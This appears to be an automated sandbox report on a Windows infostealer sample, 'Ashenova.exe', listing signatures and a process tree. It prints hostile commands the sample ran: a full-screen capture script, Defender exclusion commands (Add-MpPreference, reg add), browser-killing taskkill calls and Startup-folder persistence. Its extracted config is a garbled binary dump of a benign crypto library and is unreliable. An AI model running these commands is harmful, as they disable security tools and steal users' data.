Analysis
- user interaction
yes - max time kernel
299s - max time network
307s - platform
windows11-21h2_x64 - resource
win11-20260911-en - resource tags
- submitted
07/11/2026, 12:48
General
- Target Ashenova.exe
- Size 72KB
- Sample261107-p126bafa33
- SHA256 78cfe04abeafb6a1f2131fc179d766f14112ee6c6b7262d464d0612c42bcb844
Malware Config
Extracted
-
C:\Users\Admin\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto\Cipher\__pycache__\_mode_siv.cpython-310.pyc
- o ����� �j�4����������������������@��s����d�Z�ddlmZ�ddlmZ�ddlmZmZmZm Z �dgZ ddl m Z �ddl mZ�ddlmZ�dd lmZ�dd lmZ�erCdd lmZ�eeeef�ZG�d d��d�Zd d��Z dS�)z- Synthetic Initialization Vector (SIV) mode. �����)� annotations)�compare_digest)� TYPE_CHECKING�Optional�Union�overload�SivMode)� unhexlify)�Method)�_S2V)� is_buffer)� bytes_to_long)� ModuleTypec�������������������@��s����e�Zd�ZdZd5d d �Zd d��Zd6dd�Zd7dd�Zd8dd�Zd9dd�Z d:d d �Z d;d d �Z d<d"d#�Z e d=d%d&��Ze d>d*d&��Z +[email protected]&�Ze dAd0d1��Ze dBd2d1��Z +d?dCd4d1�Zd+S�)Dr���a���Synthetic Initialization Vector (SIV). This is an Authenticated Encryption with Associated Data (`AEAD`_) mode. It provides both confidentiality and authenticity. The header of the message may be left in the clear, if needed, and it will still be subject to authentication. The decryption step tells the receiver if the message comes from a source that really knows the secret key. Additionally, decryption detects if any part of the message - including the header - has been modified or corrupted. Unlike other AEAD modes such as CCM, EAX or GCM, accidental reuse of a nonce is not catastrophic for the confidentiality of the message. The only effect is that an attacker can tell when the same plaintext (and same associated data) is protected with the same key. The length of the MAC is fixed to the block size of the underlying cipher. The key size is twice the length of the key of the underlying cipher. This mode is only available for AES ciphers. +--------------------+---------------+-------------------+ | Cipher | SIV MAC size | SIV key length | | | (bytes) | (bytes) | +====================+===============+===================+ | AES-128 | 16 | 32 | +--------------------+---------------+-------------------+ | AES-192 | 16 | 48 | +--------------------+---------------+-------------------+ | AES-256 | 16 | 64 | +--------------------+---------------+-------------------+ See `RFC5297`_ and the `original paper`__. .. _RFC5297: https://tools.ietf.org/html/rfc5297 .. _AEAD: http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html .. __: http://www.cs.ucdavis.edu/~rogaway/papers/keywrap.pdf �factoryr����key�Buffer�nonce�kwargs�dict�return�Nonec�����������������C��s����|j�|�_� �||�_||�_t|�dvrtdt|����|d�ur5t|�s%td��t|�dkr/td��t|�|�_ �t|�d�}d�|�_ t |d�|��||�jd�|�_ ||d���|�_ |j |d�|��|jfi�|���tjtjtjtjtjg|�_d�S�)N)� ����0����@���z Incorrect key length (%d bytes)z?When provided, the nonce must be bytes, bytearray or memoryviewr���z*When provided, the nonce must be non-empty����)Z ciphermodZ cipher_params)� block_size�_factory�_cipher_params�len� ValueErrorr ���� TypeError�bytesr����_mac_tagr ����_kdf�_subkey_cipher�newZMODE_ECBr ����UPDATE�ENCRYPT�DECRYPT�DIGEST�VERIFY�_next)�selfr���r���r���r���Z subkey_size��r-����[C:\Users\Admin\AppData\Local\Temp\WinGet\tools\Lib\site-packages\Crypto/Cipher/_mode_siv.py�__init__D���s&��� zSivMode.__init__c�����������������C��s4���t�|�}|d@�}|�jj|�j|�jjf|dd�|�j��S�)z*Create a new CTR cipher from V in SIV model ������������������)� initial_valuer���N)r ���r ���r%���r$���ZMODE_CTRr ���)r,����vZv_int�qr-���r-���r.����_create_ctr_cipherf���s��� ���zSivMode._create_ctr_cipher� componentc�����������������C��s>���t�j|�jvr td��t�jt�jt�jt�jt�jg|�_|�j� |��|�S�)a���Protect one associated data component For SIV, the associated data is a sequence (*vector*) of non-empty byte strings (*components*). This method consumes the next component. It must be called once for each of the components that constitue the associated data. Note that the components have clear boundaries, so that: >>> cipher.update(b"builtin") >>> cipher.update(b"securely") is not equivalent to: >>> cipher.update(b"built") >>> cipher.update(b"insecurely") If there is no associated data, this method must not be called. Args: component (bytes/bytearray/memoryview): The next associated data component. z<update() can only be called immediately after initializationN) r ���r&���r+���r ���r'���r(���r)���r*���r#����update)r,���r5���r-���r-���r.���r6���o���s ��� zSivMode.update� plaintextr!���c�����������������C������t�d��)z� For SIV, encryption and MAC authentication must take place at the same point. This method shall not be used. Use `encrypt_and_digest` instead. zEencrypt() not allowed for SIV mode. Use encrypt_and_digest() instead.N�r ����r,���r7���r-���r-���r.����encrypt��������zSivMode.encrypt� ciphertextc�����������������C��r8���)z� For SIV, decryption and verification must take place at the same point. This method shall not be used. Use `decrypt_and_verify` instead. zEdecrypt() not allowed for SIV mode. Use decrypt_and_verify() instead.Nr9���)r,���r=���r-���r-���r.����decrypt����r<���zSivMode.decryptc�����������������C��s:���t�j|�jvr td��t�jg|�_|�jdu�r|�j���|�_|�jS�)a ��Compute the *binary* MAC tag. The caller invokes this function at the very end. This method returns the MAC that shall be sent to the receiver, together with the ciphertext. Returns: the MAC, as a byte string. zAdigest() cannot be called when decrypting or validating a messageN)r ���r)���r+���r ���r"���r#����derive�r,���r-���r-���r.����digest����s ��� zSivMode.digest�strc�����������������C��s ���|��������S�)z�Compute the *printable* MAC tag. This method is like `digest`. Returns: the MAC, as a hexadecimal string. N)rA����hexr@���r-���r-���r.���� hexdigest����s��� zSivMode.hexdigest�received_mac_tagc�����������������C��sL���t�j|�jvr td��t�jg|�_|�jdu�r|�j���|�_t|�j|�s$td��dS�)a<��Validate the *binary* MAC tag. The caller invokes this function at the very end. This method checks if the decrypted message is indeed valid (that is, if the key is correct) and it has not been tampered with while in transit. Args: received_mac_tag (bytes/bytearray/memoryview): This is the *binary* MAC, as received from the sender. Raises: ValueError: if the MAC does not match. The message has been tampered with or the key is incorrect. z3verify() cannot be called when encrypting a messageNzMAC check failed) r ���r*���r+���r ���r"���r#���r?���r���r ���)r,���rE���r-���r-���r.����verify����s��� �zSivMode.verify� hex_mac_tagc�����������������C��s���|���t|���dS�)ak��Validate the *printable* MAC tag. This method is like `verify`. Args: hex_mac_tag (string): This is the *printable* MAC, as received from the sender. Raises: ValueError: if the MAC does not match. The message has been tampered with or the key is incorrect. N)rF���r ���)r,���rG���r-���r-���r.���� hexverify����s���zSivMode.hexverify�tuple[bytes, bytes]c�����������������C������d�S��Nr-���r:���r-���r-���r.����encrypt_and_digest��������zSivMode.encrypt_and_digest�output� Union[bytearray, memoryview]�tuple[None, bytes]c�����������������C��rJ���rK���r-���)r,���r7���rN���r-���r-���r.���rL�����������N�&Optional[Union[bytearray, memoryview]]� tuple[Optional[bytes], bytes]c�����������������C��sn���t�j|�jvr td��t�jg|�_t|�d�r|�j�|�j��|�j�|��|�j� ��|�_ |�� |�j �}|j ||d�|�j fS�)a)��Perform encrypt() and digest() in one step. Args: plaintext (bytes/bytearray/memoryview): The piece of data to encrypt. Keyword Args: output (bytearray/memoryview): The location where the ciphertext must be written to. If ``None``, the ciphertext is returned. Returns: The tuple ``(ciphertext, tag)``, both ``bytes``. The ciphertext is ``None`` when the ``output`` parameter specified a location for the result. z@encrypt() can only be called after initialization or an update()r����rN���N) r ���r'���r+���r ���r)����hasattrr#���r6���r���r?���r"���r4���r;���)r,���r7���rN����cipherr-���r-���r.���rL�������s��� �mac_tagc�����������������C��rJ���rK���r-���)r,���r=���rW���r-���r-���r.����decrypt_and_verify��rM���zSivMode.decrypt_and_verifyc�����������������C��rJ���rK���r-���)r,���r=���rW���rN���r-���r-���r.���rX�����rQ����Optional[bytes]c�����������������C��sx���t�j|�jvr td��t�jg|�_|��|�|�_|�jj||d�}t|�d�r)|�j � |�j ��|�j � |du�r2|n|��|�� |��|S�)a���Perform decryption and verification in one step. A cipher object is stateful: once you have decrypted a message you cannot decrypt (or encrypt) another message with the same object. You cannot reuse an object for encrypting or decrypting other data with the same key. This function does not remove any padding from the plaintext. Args: ciphertext (bytes/bytearray/memoryview): The piece of data to decrypt. It can be of any length. mac_tag (bytes/bytearray/memoryview): This is the *binary* MAC, as received from the sender. Keyword Args: output (bytearray/memoryview): The location where the plaintext must be written to. If ``None``, the plaintext is returned. Returns: the plaintext as ``bytes`` or ``None`` when the ``output`` parameter specified a location for the result. Raises: ValueError: if the MAC does not match. The message has been tampered with or the key is incorrect. z@decrypt() can only be called after initialization or an update()rT���r���N) r ���r(���r+���r ���r*���r4���Z_cipherr>���rU���r#���r6���r���rF���)r,���r=���rW���rN���r7���r-���r-���r.���rX��� ��s��� ! ) r���r���r���r���r���r���r���r���r���r���)r5���r���r���r���)r7���r���r���r!���)r=���r���r���r!���)r���r!���)r���rB���)rE���r���r���r���)rG���rB���r���r���)r7���r���r���rI���)r7���r���rN���rO���r���rP���rK���)r7���r���rN���rR���r���rS���)r=���r���rW���r���r���r!���)r=���r���rW���r���rN���rO���r���r���)r=���r���rW���r���rN���rR���r���rY���)�__name__� __module__� __qualname__�__doc__r/���r4���r6���r;���r>���rA���rD���rF���rH���r���rL���rX���r-���r-���r-���r.���r��� ���s.���� '" " �! �c�������������� ���K��sR���z|��d�}W�n�ty�}�ztdt|����d}~ww�|��dd�}t|�|||�S�)a^��Create a new block cipher, configured in Synthetic Initializaton Vector (SIV) mode. Args: factory (object): A symmetric cipher module from `Crypto.Cipher` (like `Crypto.Cipher.AES`). Keyword Args: key (bytes/bytearray/memoryview): The secret key to use in the symmetric cipher. It must be 32, 48 or 64 bytes long. If AES is the chosen cipher, the variants *AES-128*, *AES-192* and or *AES-256* will be used internally. nonce (bytes/bytearray/memoryview): For deterministic encryption, it is not present. Otherwise, it is a value that must never be reused for encrypting message under this key. There are no restrictions on its length, but it is recommended to use at least 16 bytes. r���zMissing parameter: Nr���)�pop�KeyErrorr ���rB���r���)r���r���r����er���r-���r-���r.����_create_siv_cipherQ��s��� �� ra���N) r]���� __future__r����hmacr����typingr���r���r���r����__all__�binasciir ���Z Crypto.Cipher._state_machiner ���ZCrypto.Protocol.KDFr ���ZCrypto.Util._raw_apir ���ZCrypto.Util.numberr ����typesr���r!���� bytearray� memoryviewr���r���ra���r-���r-���r-���r.����<module>���s"��� �� 7
-
+[email protected]&�Ze
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 10 IoCs
- Loads dropped DLL 64 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Windows security bypass 2 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 4 IoCs
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 23 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 20 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 24 IoCs
Processor information is often read in order to detect sandboxing environments.
- Detects videocard installed 1 TTPs 2 IoCs
Uses WMIC.exe to determine videocard installed.
- Kills process with taskkill 40 IoCs
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 16 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Ashenova.exe"C:\Users\Admin\AppData\Local\Temp\Ashenova.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\resources\elevate.exe"C:\Users\Admin\AppData\Local\Temp\resources\elevate.exe" "C:\Users\Admin\AppData\Local\Temp\resources\engine.dat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\resources\elevate.exeC:\Users\Admin\AppData\Local\Temp\resources\elevate.exe C:\Users\Admin\AppData\Local\Temp\resources\engine.dat --disable-gpu --no-sandbox --disable-logging --disable-logging-redirect --log-level=3 --disable-crash-reporter --disable-breakpad --disable-component-update --disable-features=TranslateUI --disable-ipc-flooding-protection --disable-hang-monitor --no-error-dialogs3⤵
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs""4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs"5⤵
- Creates a file in the Startup directory
- Executes a VBScript file via the Windows Script Host.
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs""4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs"5⤵
- Executes a VBScript file via the Windows Script Host.
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /IM Steam.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /IM javaw.exe /F5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing try { $screens = [System.Windows.Forms.Screen]::AllScreens $totalWidth = 0 $totalHeight = 0 $screenBounds = @() foreach ($screen in $screens) { $totalWidth += $screen.Bounds.Width if ($screen.Bounds.Height -gt $totalHeight) { $totalHeight = $screen.Bounds.Height } $screenBounds += $screen.Bounds } $bitmap = New-Object System.Drawing.Bitmap $totalWidth, $totalHeight $graphics = [System.Drawing.Graphics]::FromImage($bitmap) $currentX = 0 foreach ($bounds in $screenBounds) { $graphics.CopyFromScreen($bounds.X, $bounds.Y, $currentX, 0, $bounds.Size) $currentX += $bounds.Width } $bitmap.Save('C:\Users\Admin\AppData\Local\Temp\screenshot_1794055901130.png', [System.Drawing.Imaging.ImageFormat]::Png) $graphics.Dispose() $bitmap.Dispose() $file = Get-Item 'C:\Users\Admin\AppData\Local\Temp\screenshot_1794055901130.png' -ErrorAction SilentlyContinue if ($file -and $file.Length -gt 1024) { Write-Output \"SUCCESS:$($file.Length)\" } else { Write-Output \"FAILED:File too small or not found\" } } catch { Write-Output \"FAILED:$($_.Exception.Message)\" } "4⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exeC:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pycryptodome4⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exeC:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pywin324⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exeC:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade PythonForWindows4⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exeC:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade psutil4⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exeC:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe C:\Users\Admin\AppData\Local\Temp\x1z2fQ7T3j0w.py4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM brave.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM msedge.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM opera.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM opera.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM firefox.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM vivaldi.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM browser.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM browser.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM QQBrowser.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM 360chrome.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM 360chrome.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM firefox.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM firefox.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM firefox.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM firefox.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name /value5⤵
- Reads the TCP/IP host and domain name from the registry
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs""4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\sysZxammz256.vbs"5⤵
- Creates a file in the Startup directory
- Executes a VBScript file via the Windows Script Host.
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs""4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\winJaxmalz0.vbs"5⤵
- Executes a VBScript file via the Windows Script Host.
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /IM Steam.exe /F5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /IM javaw.exe /F5⤵
- Kills process with taskkill
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command " Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing try { $screens = [System.Windows.Forms.Screen]::AllScreens $totalWidth = 0 $totalHeight = 0 $screenBounds = @() foreach ($screen in $screens) { $totalWidth += $screen.Bounds.Width if ($screen.Bounds.Height -gt $totalHeight) { $totalHeight = $screen.Bounds.Height } $screenBounds += $screen.Bounds } $bitmap = New-Object System.Drawing.Bitmap $totalWidth, $totalHeight $graphics = [System.Drawing.Graphics]::FromImage($bitmap) $currentX = 0 foreach ($bounds in $screenBounds) { $graphics.CopyFromScreen($bounds.X, $bounds.Y, $currentX, 0, $bounds.Size) $currentX += $bounds.Width } $bitmap.Save('C:\Users\Admin\AppData\Local\Temp\screenshot_1794055926381.png', [System.Drawing.Imaging.ImageFormat]::Png) $graphics.Dispose() $bitmap.Dispose() $file = Get-Item 'C:\Users\Admin\AppData\Local\Temp\screenshot_1794055926381.png' -ErrorAction SilentlyContinue if ($file -and $file.Length -gt 1024) { Write-Output \"SUCCESS:$($file.Length)\" } else { Write-Output \"FAILED:File too small or not found\" } } catch { Write-Output \"FAILED:$($_.Exception.Message)\" } "4⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exeC:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pycryptodome4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exeC:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade pywin324⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exeC:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade PythonForWindows4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exeC:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe -m pip install --upgrade psutil4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exeC:\Users\Admin\AppData\Local\Temp\WinGet\tools\python.exe C:\Users\Admin\AppData\Local\Temp\x1z2fQ7T3j0w.py4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM brave.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM msedge.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM opera.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM opera.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM firefox.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM chrome.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM vivaldi.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM browser.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM browser.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM QQBrowser.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM 360chrome.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM 360chrome.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM firefox.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM firefox.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM firefox.exe5⤵
- Kills process with taskkill
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM firefox.exe5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"4⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name /value5⤵
- Reads the TCP/IP host and domain name from the registry
- Detects videocard installed
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "sc config node DisplayName= "Time Synchronization Service""4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc config node DisplayName= "Time Synchronization Service"5⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\','C:\Users\Admin\AppData\Local\Temp\resources','C:\Users\Admin\AppData\Local\Temp'; Add-MpPreference -ExclusionProcess 'elevate.exe'""4⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\','C:\Users\Admin\AppData\Local\Temp\resources','C:\Users\Admin\AppData\Local\Temp'; Add-MpPreference -ExclusionProcess 'elevate.exe'"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\" /t REG_DWORD /d 0 /f"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\" /t REG_DWORD /d 0 /f5⤵
- Windows security bypass
-
-
-
